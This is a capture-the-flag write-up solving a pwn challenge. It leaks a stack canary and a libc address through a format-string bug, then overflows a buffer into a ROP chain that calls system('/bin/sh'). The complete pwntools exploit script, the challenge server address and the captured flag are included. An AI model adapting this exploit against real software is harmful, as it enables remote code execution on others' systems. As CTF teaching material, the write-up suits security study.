Intro
This is the third pwn challenge. It was solved 29 times and it’s worth 469 points.
Description:
I have stack canaries enabled, Can you still B0f me ?
In addition to the binary there is also a specific libc.
You can download the binary here and the libc here
$ sha256sum notsoeasyb0f notsoeasyb0f-libc.so
9cdc861043359904c6807d31990f7369c1fec2d25e545e263bb4ae2e5786883e notsoeasyb0f
74ca69ada4429ae5fce87f7e3addb56f1b53964599e8526244fecd164b3c4b44 notsoeasyb0f-libc.so
Exploitation
This program asks for a name, echoes it back, then it asks a sentence. It seems that both input are vulnerable to a buffer overflow.
However, as the description says, stack canary
is enabled.
$ ./notsoeasyb0f
Enter name : NAME
Hello
NAME
Enter sentence : SENTENCE
$ ./notsoeasyb0f
Enter name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
$ ./notsoeasyb0f
Enter name : NAME
Hello
ASD
Enter sentence : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
$ checksec ./notsoeasyb0f
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Given the protections and the libc, a two stage attack will be performed. First a leak then a ROP
.
I opened with r2, as usual, and the only interesting function is the vulnerable one: main
. And it’s really simple:
It’s vulnerable to buffer overflow
and format string
vulnerabilities. The former is at the second fgets
, the latter is at the second printf
.
So we could use the format string
to leak the canary and a libc address.
Then the bof
to build a simple ROP chain
. With trial and error and the help of radare it’s easy to locate the offset to use with the format string
:
- 11 to leak the canary
- 13 to leak the
saved EIP
of themain
. In fact the latter is in the__libc_start_main
, so in thelibc
This is my exploit:
from pwn import *
prog = context.binary = ELF("PATH_TO_THE_BINARY", checksec=False)
if len(sys.argv) > 1:
host = "68.183.158.95"
port = 8991
t = remote(host, port)
system_offset = 150368
binsh_offset = 1492263
ret_offset = 263
prdi_offset = 1393839
else:
t = prog.process()
# these offsets should be customized locally
system_offset = 0
binsh_offset = 0
ret_offset = 0
prdi_offset = 0
# leak canary
t.sendline("%11$p%13$p")
t.recvuntil("Hello\n")
canary = int(t.recv(numb=18).replace("\n", ""), 16)
libc_leak = int(t.recvline().replace("\n", ""), 16)
system_libc = libc_leak + system_offset
binsh_libc = libc_leak + binsh_offset
ret_libc = libc_leak + ret_offset
prdi_libc = libc_leak + prdi_offset
log.success("CANARY: {:#x}".format(canary))
log.success("LIBC : {:#x}".format(libc_leak))
log.success("SYSTEM: {:#x}".format(system_libc))
log.success("BINSH : {:#x}".format(binsh_libc))
log.success("PRDI : {:#x}".format(prdi_libc))
log.success("RET : {:#x}".format(ret_libc))
canary_offset = 24
payload = "P"*canary_offset
payload += p64(canary)
payload += "P"*8
payload += p64(ret_libc) # ret
payload += p64(prdi_libc) # pop rdi
payload += p64(binsh_libc)
payload += p64(system_libc)
t.sendline(payload)
t.recvrepeat(0.3)
t.sendline("cat flag.txt")
print t.recvline()
t.close()
And this is the flag:
$ ./exploit.py 1
[+] Opening connection to 68.183.158.95 on port 8991: Done
[+] CANARY: 0x38d86c5026063f00
[+] LIBC : 0x7fa7fd1fc830
[+] SYSTEM: 0x7fa7fd221390
[+] BINSH : 0x7fa7fd368d57
[+] PRDI : 0x7fa7fd350cdf
[+] RET : 0x7fa7fd1fc937
d4rk{H3ll0_R0p}c0de
[*] Closed connection to 68.183.158.95 port 8991